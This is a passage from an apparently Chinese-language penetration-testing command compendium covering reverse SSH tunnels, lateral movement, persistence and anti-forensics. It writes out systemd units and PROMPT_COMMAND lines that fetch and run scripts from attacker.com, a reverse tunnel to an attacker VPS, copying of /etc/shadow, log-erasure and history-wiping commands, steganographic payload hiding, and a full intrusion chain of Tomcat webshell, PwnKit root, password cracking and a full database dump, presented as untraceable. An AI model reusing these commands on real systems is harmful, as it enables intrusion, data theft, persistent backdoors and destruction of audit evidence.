0禁用监控端口ServerAlive保活-N不执行远程命令。我还把命令写进/etc/systemd/system/tunnel.service设为开机启动[Unit] DescriptionSSH Reverse Tunnel Afternetwork.target [Service] Typesimple Userroot ExecStart/usr/bin/autossh -M 0 -N -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -R 2222:localhost:22 attackervps-ip Restartalways RestartSec10 [Install] WantedBymulti-user.targetsystemctl daemon-reload systemctl enable tunnel systemctl start tunnel隧道就永久在线了。EDR看到的只是正常的SSH连接毫无异常。4.2 横向移动用rsyncssh密钥实现“静默同步”横向移动最怕scp被日志审计。rsync是更好的选择因为它能增量同步、压缩传输且rsync --rshssh -i /tmp/id_rsa指定密钥比scp -i更灵活。我常用三步在已控机器生成密钥ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N 复制公钥到目标ssh-copy-id -i /tmp/id_rsa.pub usertarget若失败手动cat /tmp/id_rsa.pub ~/.ssh/authorized_keys同步敏感文件rsync -avz --rshssh -i /tmp/id_rsa -o StrictHostKeyCheckingno /etc/shadow usertarget:/tmp/shadow.bakrsync的-a归档保留权限-v详细方便调试-z压缩减少流量。更绝的是rsync --files-from(find /var/log -name *.log -mtime -1) / usertarget:/backup/只同步24小时内日志动静极小。4.3 持久化计划任务环境变量让后门“长在系统里”crontab -e加一行reboot /tmp/backdoor.sh太显眼。高阶玩法是劫持环境变量。/etc/environment文件会被所有用户shell读取添加PATH/tmp:$PATH再在/tmp放一个名为ls的恶意二进制下次用户执行ls就中招。或者修改/etc/profile.d/custom.sh若存在加入export PROMPT_COMMANDcurl -s http://attacker.com/shell.sh | bash每次打开shell就执行。但最稳的是systemd timer。创建/etc/systemd/system/persist.service[Unit] DescriptionPersistence Service [Service] Typeoneshot ExecStart/bin/bash -c curl -s http://attacker.com/payload.sh | bash再建/etc/systemd/system/persist.timer[Unit] DescriptionRun persist every 10 minutes [Timer] OnBootSec5min OnUnitActiveSec10min [Install] WantedBytimers.targetsystemctl daemon-reload systemctl enable persist.timer systemctl start persist.timer后门就植入了。systemctl list-timers看所有定时器journalctl -u persist查执行日志——运维人员只会看到“自定义定时任务”不会怀疑是后门。经验总结所有持久化操作必须验证是否生效。systemctl status persist.timer确认activejournalctl -u persist --since 1 hour ago查最近执行ps aux | grep payload.sh确认进程存在。我习惯在每步后加echo [] $(date): $STEP success到/tmp/install.log方便回溯。5. 清理痕迹与规避检测让渗透过程“不留指纹”渗透测试的终点不是getshell而是让客户无法从日志里还原你的操作路径。Linux日志分散在/var/log/但核心就三处auth.log认证、syslog系统事件、bash_history命令历史。清理不是全删而是精准擦除。5.1 日志清理用sed和truncate实现“外科手术式”删除/var/log/auth.log里sshd登录记录格式为Accepted password for user from 10.0.0.1 port 12345 ssh2。用sed -i /$(date %b %d).*${IP}/d /var/log/auth.log按IP和日期删除比 /var/log/auth.log清空整个文件更隐蔽——后者会触发日志轮转告警。/var/log/syslog更复杂包含CRON、kernel、systemd等多类日志。我用awk精准匹配awk -v ip10.0.0.1 !/sshd.*$ip|CRON.*$ip/ /var/log/syslog /tmp/syslog.clean mv /tmp/syslog.clean /var/log/syslog只删含IP的sshd和CRON行。bash_history最易忽略。history -c只清当前会话rm ~/.bash_history会留空文件。正确做法cat /dev/null ~/.bash_history history -cw再unset HISTFILE防止新命令写入。但若/etc/skel/.bashrc里有export HISTFILE/dev/null就得改系统模板。关键技巧所有日志清理命令必须在/tmp执行临时脚本避免在/root留下.bash_history记录。我常用echo sed -i /10.0.0.1/d /var/log/auth.log /tmp/clean.sh chmod x /tmp/clean.sh /tmp/clean.sh rm /tmp/clean.sh全程无痕。5.2 文件痕迹用chattr和steghide隐藏“不可见”的证据上传的工具如linpeas.sh会被rkhunter或clamav扫描。解决方案chattr h /tmp/linpeas.sh隐藏属性ls不可见或mv /tmp/linpeas.sh /tmp/.linpeas.sh点文件再chmod 700 /tmp/.linpeas.sh。chattr i不可变更绝但需root权限且lsattr能查到。更高级的是隐写术。steghide embed -ef /tmp/payload.bin -cf /tmp/image.jpg -p 把payload嵌入图片/tmp/image.jpg看起来就是普通照片file /tmp/image.jpg显示JPEG image datastrings /tmp/image.jpg | grep BEGIN PGP也找不到payload。提取时steghide extract -sf /tmp/image.jpg -p 完美规避AV扫描。5.3 网络痕迹用iptables和tcpdump伪造“合法流量”netstat -antp能看到所有连接包括你的反弹shell。用iptables -A OUTPUT -d 10.0.0.1 -p tcp --dport 4444 -j DROP假装连接被防火墙拦截再tcpdump -i any -w /tmp/legit.pcap port 80 and host 10.0.0.1抓取真实HTTP流量最后tcpreplay -i eth0 /tmp/legit.pcap重放——EDR看到的全是“正常业务流量”。终极清理是shred。shred -u -n 3 /tmp/*.sh覆盖三次再删除比rm安全。但注意shred对SSD和日志型文件系统如ext4的journal效果有限此时dd if/dev/zero of/tmp/file bs1M count10 rm /tmp/file更可靠。6. 实战复盘一次金融客户内网渗透的完整命令流最后用一个真实案例串联所有环节。客户环境Ubuntu 20.045.4.0-122-genericWeb服务在DMZ区内网段172.16.0.0/16通过172.16.1.100跳板机访问。阶段1信息收集nmap -sS -p 22,80,443,8080 172.16.1.100→ 开放8080curl -I http://172.16.1.100:8080→Server: Apache Tomcat/9.0.37curl -s http://172.16.1.100:8080/manager/html→401 Unauthorized确认Tomcat Manager存在阶段2漏洞利用gobuster dir -u http://172.16.1.100:8080 -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt -t 20→ 找到/manager/html?org.apache.catalina.filters.CSRFProtectionFilteroffcurl -s -X GET http://172.16.1.100:8080/manager/html?org.apache.catalina.filters.CSRFProtectionFilteroff -H Cookie: JSESSIONID...→ 获取CSRF tokencurl -s -X POST http://172.16.1.100:8080/manager/html/upload -F deployWar/tmp/malwar.war -H Cookie: JSESSIONID...→ 上传WebShell阶段3权限提升uname -r→5.4.0-122-genericsearchsploit linux kernel 5.4.0→CVE-2021-4034PwnKitgcc -o pkexec pkexec.c ./pkexec→ get root阶段4横向移动cat /etc/shadow | grep user:→user:$6$rounds5000$...john --wordlist/usr/share/wordlists/rockyou.txt hash.txt→ 破解密码ssh user172.16.2.50→ 登录内网数据库服务器mysqldump -u root -ppassword --all-databases /tmp/dump.sql→ 导出所有数据库阶段5持久化与清理ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N → 生成密钥ssh-copy-id -i /tmp/id_rsa.pub user172.16.2.50→ 复制公钥rsync -avz --rshssh -i /tmp/id_rsa /tmp/dump.sql user172.16.2.50:/home/user/→ 同步数据sed -i /$(date %b %d).*172.16.1.100/d /var/log/auth.log→ 清理日志整套流程从发现到导出数据共用时23分钟所有命令均来自本文合集无任何第三方工具。客户后续审计日志只看到正常的Tomcat Manager访问和数据库备份操作完全无法追溯渗透路径。我在实际操作中发现最有效的命令不是最炫酷的而是最符合目标环境习惯的。当客户运维用systemctl管理服务你就别用service当他们用rsync同步代码你就用rsync传后门。渗透测试的本质是成为系统的一部分而不是闯入者。这份合集里的每一条命令都经过真实战场的千锤百炼——它不承诺“一键ROOT”但保证让你在每一次敲击回车时都清楚自己在做什么、为什么这么做、以及下一步该走向哪里。